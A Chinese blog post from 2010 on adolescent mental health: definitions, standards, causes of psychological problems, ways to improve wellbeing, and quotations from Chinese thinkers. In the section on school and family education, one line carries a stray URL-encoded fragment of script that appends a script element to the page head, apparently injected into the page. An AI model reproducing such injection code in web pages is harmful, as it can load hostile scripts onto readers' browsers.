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心理健康与青少年的成长成才(原创)  

2010-04-08 17:05:30|  分类: 文化·原创 |  标签: |举报 |字号 订阅

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  一、建立科学的完整的健康观
  一般的理解:身体处于无病状态。
  世界卫生组织(WHO)。1948年成立,其《章程》所下定义:“健康不仅是没有疾病或虚弱,而且包括身体、心理和社会适应的内在健全状态。”
  1989年,修定章程,增加了“道德健康”。
  “社会适应”和“道德健康”,也是心理健康的范畴。健康,包括身体健康和心理健康两大方面.
  二、心理健康的标准
  (一)美国心理学家马斯洛和米特尔(称为“最经典的标准”)
  1.充分的安全感;
  2.充分了解自己,并对自己的能力作适当的估价;
  3.生活的目标切合实际;
  4.与现实的环境保持接触;
  5.能保持人格的完整与和谐;
  6.具有从经验中学习的能力;
  7.能保持良好的人际关系;
  8.适度的情绪表达与控制;
  9.在不违背社会规范的条件下,对个人的基本需求作恰当的满足;
  10.在不违背社会规范的条件下,能作有限的个性发挥。
  (二)北京师范大学郑日昌教授
  1.认知活动正常;
  2.情绪生活健康;
  3.意志品质健全;
  4.自我意识正确;
  5.个性结构完整;
  6.人际关系协调;
  7.社会适应良好。
  (三)正确理解和认识心理健康的标准
  1.能够正常学习、工作和生活,是心理健康最基本的标准。
  2.心理健康标准既是一种衡量标准,也是一种努力方向。
  3.心理健康状态是一个动态过程,随人的成长、成熟及环境改变和经验积累而变化。心理和行为要符年龄特征.
  4.偶而出现心理和行为问题,不能视为心理不健康。但应防止渐变,防止形成持续不良状态。
  5.青少年处于心理成长成熟的过程之中,出现一些心理问题,如同生理上的“骨痛”一样是一种“成长痛”。
  三、心理健康的意义
  1.有利于身体健康。
  身心是相互影响的,身体状态不佳会影响心理健康,心理有问题会影响身体健康。
  2.有利于智力开发。
  心理健康的人,心情愉悦,思维敏捷,自身潜质可以得到充分发挥。
  3.有利于工作效率提高。
  心理健康的人,朝气蓬勃,开朗乐观,学习和工作效率就高。
  4.有利于人际关系协调。
  心理健康的人,豁达大度,亲和力强,人际关系自然和谐。
  5.有利于事业成功。
  美国心理学家丹尼尔·戈尔曼:智商(IQ)在人的成功中占20%,情商(EQ)占80%;智商有利于选聘,情商有利于升迁。
  四、影响心理健康的主要因素
  (一)神经类型特征(气质类型特征)
  巴甫洛夫根据人的神经系统的兴奋与抑制过程的不同特点,把人的神经系统划分为四大类型,即强而均衡型、强而不均衡型、强而惰性型、弱型。心理学上相对应地把人的气质也划分为四大类型,即多血质、胆汁质、粘液质、抑郁质。
  神经类型属弱型和强而不均衡型的人,心理承受能力比一般人要差,即心理学意义上的气质分类中的抑郁质和胆汁质。抑郁质人的特点是:孤僻,行动迟缓,沉默寡言,体验深刻,观察细微;胆汁质人的特点是:直爽,热情,精力旺盛,易冲动,心境变换剧烈。
  气质无好坏之分.气质是个性形成的基础.虽然心理问题和心理疾病产生的关键因素并不取决于神经类型和气质类型特征,但在分析青少年心理问题和心理疾病产生的原因时仍是有意义的。
  (二)早期负性经验
  早期经验是指幼年时期所接受的养育和教育方式及家庭状况给个体的直接影响。包括幼年时发生的与性相关的经历.这种影响往往会沉淀下来成为潜意识,影响着长大成人后的行为方式。心理学的研究表明,幼年生活于单亲家庭、破裂家庭、缺少关爱温暖的人;或父母教育方式简单粗暴,或过分溺爱的子女,心理承受能力一般较弱。青少年发生心理问题的,往往是这两种具有幼年经历的人。如果早期经历中缺少温暖关爱,则易孤僻、冷漠甚至敌视周围环境;如果早期经历中受到过分保护,则易自我为中心、自恋、不合群,情感上十分脆弱。
  (三)社会处境
  承受过大过多精神压力的人,也容易产生心理问题。如:经济压力,升学压力,就业压力,学习压力,人际关系压力,情感纠葛以及在学习和生活中缺少支持性的环境等。当前青少年心理问题突出,其中重要的因素,就是承受的压力太大。
  (四)态度和行为方式
  主要是指人生态度和行为习惯。心理学的研究表明,悲观主义者和完美主义者,容易产生心理问题。悲观主义者缺少积极向上的生活态度,缺少远大理想的支持,失去青春活力,消极地认识和对待一切,很容易进入抑郁状态,严重者甚至产生空虚和厌世情绪。完美主义者往往过分苛求自己,同时苛求别人,当现实难以达到或不符合自己主观愿望时,往往会陷入内疚、自责、萎缩、退缩的抑郁状态,严重的甚至产生罪恶感和厌世心理。
  (五)人格(个性)特征
  心理学上的人格即个性,它表现为个别差异,是个体在与环境相互作用过程中所表现出来的一个人独特的行为模式。一个人在其成长过程中,如果受到家庭、学校、社会不良因素的影响,则可能出现人格发展缺陷(某方面过分发展,某方面发展不够等),严重的可能出现病态人格。许多心理异常表现本身,如偏执、冷漠、自私、缺乏同情心、缺乏自制力、缺少责任心、缺少羞耻感和善恶感.反社会行为等,都是人格异常的表现。心理学的研究表明,人格结构存在严重缺陷的人,社会适应性低,心理健康水平低;在遭遇外部刺激时,常常会产生严重应激,形成心理问题。青年中发生心理问题者,常常是一些人格有缺陷的人。常见的人格障碍主要有“偏执型人格障碍”、“冲动型人格障碍”、“强迫型人格障碍”、“依赖型人格障碍”和“反社会人格障碍”等。
  (六)应激事件
  最近突发的对人情绪情感产生冲击的事件.是心理问题产生的直接原因。当遭遇外部刺激时,每个人在心理上都会产生一定的反应。如果是适应性的反应,仍然是正常的心理状态,不会发展为心理问题或心理疾病。如果是严重应激,持续的冲动、恐惧、焦虑、抑郁等,则会走向心理问题,甚至心理疾病。
  为什么遭遇同样的应激事件,有人出现心理问题,有人不出现心理问题?这取决于个体的个性特征、适应能力、挫折耐受力等。
  (七)学校和家庭教育的失误
  应试教育背景下,普遍忽视对学生、对子女心理素质的培养和指导,造成学生、子女个性发展的缺陷。
  cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A">当有的大学生在大学其间出现心理或精神问题时,家长往往会埋怨学校没有教育好.,没做好工作.其实,问题的根子可能就在幼儿期或中小学期.原先潜伏下来了,压抑下去了,到大学显现出来了.
  (八)青年期特有的心理特点
  青年期是人生发展过程中心理上不平衡、不稳定、矛盾冲突最突出的时期。如:自我意识的分裂;性生理成熟带给心理上的冲击;思维方式处于转变过程之中;人生观的不成熟等。
  所以,我们把青少年中存在的心理问题称为"心理上的成长痛".
  五、增进心理健康的途径
  1.学习心理卫生知识。
  这样才能增进心理健康的意识和自觉性。
  2.确立乐观向上的生活态度。
  乐观,才能保持良好的心境。尤其是在遭遇挫败的时候,乐观,心境好,才能重新开始,才能东山再起.
  3.增加积极的情感体验。
  回想过往的成功事例;在日常学习、工作实践中体验成功的喜悦。
  4.发展健康的自我意识。
  全面分析和认识自我,既不自轻自贱,也不自骄自傲;扬长避短,快乐生活。
  张牙舞爪的人,咄咄逼人的人,打打杀杀的人,盛气凌人的人,都不会成为成功的人.因为这些人对人对己的认识都是盲目的.糊里糊涂的.
  5.完善个性(人格)结构。
  个性结构中,气质是基础,先天成份为主,改亦不易;性格是核心,后天形成,主观努力,可以改善。
  台湾余世维教授:“请小心你的思想,思想影响你的行为;请小心你的行为,行为影响你的习惯;请小心你的习惯,习惯影响你的性格;请小心你的性格,性格影响你的命运。”
  性格是个性的核心。个性完善是心理健康的核心。
  现在的不少年轻人,出问题就出在个性上,太张扬,太自我.一遇困惑,又走极端.
  6.寻求咨询帮助。
  得到专家、师长和朋友的指导和疏导。要象人感冒了就去看医生一样,当心理.情绪上遇到不舒服时就去找朋友.师长.专家咨询.倾诉.
  7.融入集体。
  在集体活动中认识自己,接纳自己;同时接纳别人,也被别人接纳。这样有利于增强归属感、安全感和自信心,避免孤独感和抑郁情绪的发生。
  8.培养一点业余兴趣和爱好。
  包括体育、文娱、文学、音乐、美术、书法等。业余兴趣爱好,可以修身养性,可以愉悦心境,有利于身心健康。
  9.养成科学的生活习惯。
  饮食、睡眠都要有规律,合理安排。排除不良嗜好,如上网成瘾、打麻将打牌成瘾、酗酒、暴饮暴食等。
  10.建设支持性的社会环境。
  政府;党、团组织;工作单位;社区等;,都要多一些温暖、关心和宽容,少一些冷漠、苛求和压力,真正实现社会和谐。
  六、名人名言的启示
  (一)老子
  “炊(吹)者不立,自视者不章(彰),自见者不明,自伐者不功,自矜者不长。其在道也,曰:余食赘行。物或恶之,故有欲者弗居。”(老子·第22章)
  大意是:自我吹嘘的人不会有所成就;自以为是的人难以得到彰显;自我显露的人不能自明,自我夸耀的人难以立功;自以为贤能的人不能成为领导人。从道的角度看,所有自我炫耀的行为,都象剩饭、赘瘤一样,大家都厌恶它,有所追求的人决不会这样做。
  “我恒有三葆(宝),持而宝之。一曰慈,二曰俭,三曰不敢为天下先。夫慈,故能勇;俭,故能广;不敢为天下先,故能为成事长。”(道德经·第69章)
  大意是:我永远有三宝,掌握并珍视它们:第一件是慈,第二件是俭,第三件是不敢为天下先。因为慈爱,所以才有勇敢;因为俭啬,所以才有广大;因为不敢为天下先,所以才能成为天下的首长。
  (二)朱光潜
  “在看重一件事物时,他知道执着;在看轻一件事物时,他也知道摆脱。……这就是取舍恰到好处,艺术化的人生也是如此。……他不但认真,而且能摆脱。在认真时见出他的严肃,在摆脱时见出他的豁达。……伟大的人生和伟大的艺术都同时并有严肃与豁达之胜。”
                                                    ——《艺术与人生》
  (三)冯优兰
  “儒家墨家教人负责,道家使人能外物。能负责则人严肃,能外物则人超脱。超脱而严肃,使人虽有‘满不在乎’的态度,却并不是对于任何事都‘满不在乎’。严肃而超脱,使人于尽道德的责任时,对于有些事,可以‘满不在乎’。有儒家墨家的严肃,又有道家的超脱,才真正是从中国的国风养出的人,才真正是‘中国人’。”
                                                 ——《三松堂全集》第4卷
  (五)季羡林
  苏东坡说:“人有悲欢离合,月有阴晴圆缺,此事古难全。”南宋方岳说:“不如意事常八九,可与人言无二三。”所以我说“不完满才是人生。”这是一个“平凡的真理”;但是真能了解其中的意义,对己对人都有好处。对己,可以不烦不躁;对人,可以互相谅解。这会大大地有利于整个社会的安定团结。
                                                      ——《季羡林论人生》
  (六)白岩松
  白岩松在他的儿子出生的第三天,写下一封寄往未来的给儿子的信。信中给儿子提出三点希望:
  “学会宽容;不争第一;爱上音乐。”
  综观以上名人的话,给我们总的启示是:为人处事,不可逞强,不可太满,不可妄为;要处弱谦恭,宽容大度,豁达从容。不要陷入当代一些人所讲的什么“张扬个性”、“永不言败”、“追求完美"等口号宣传的误区。
  与大家共勉。
  
  
  

        


        



        




        
  
  



        
          
            
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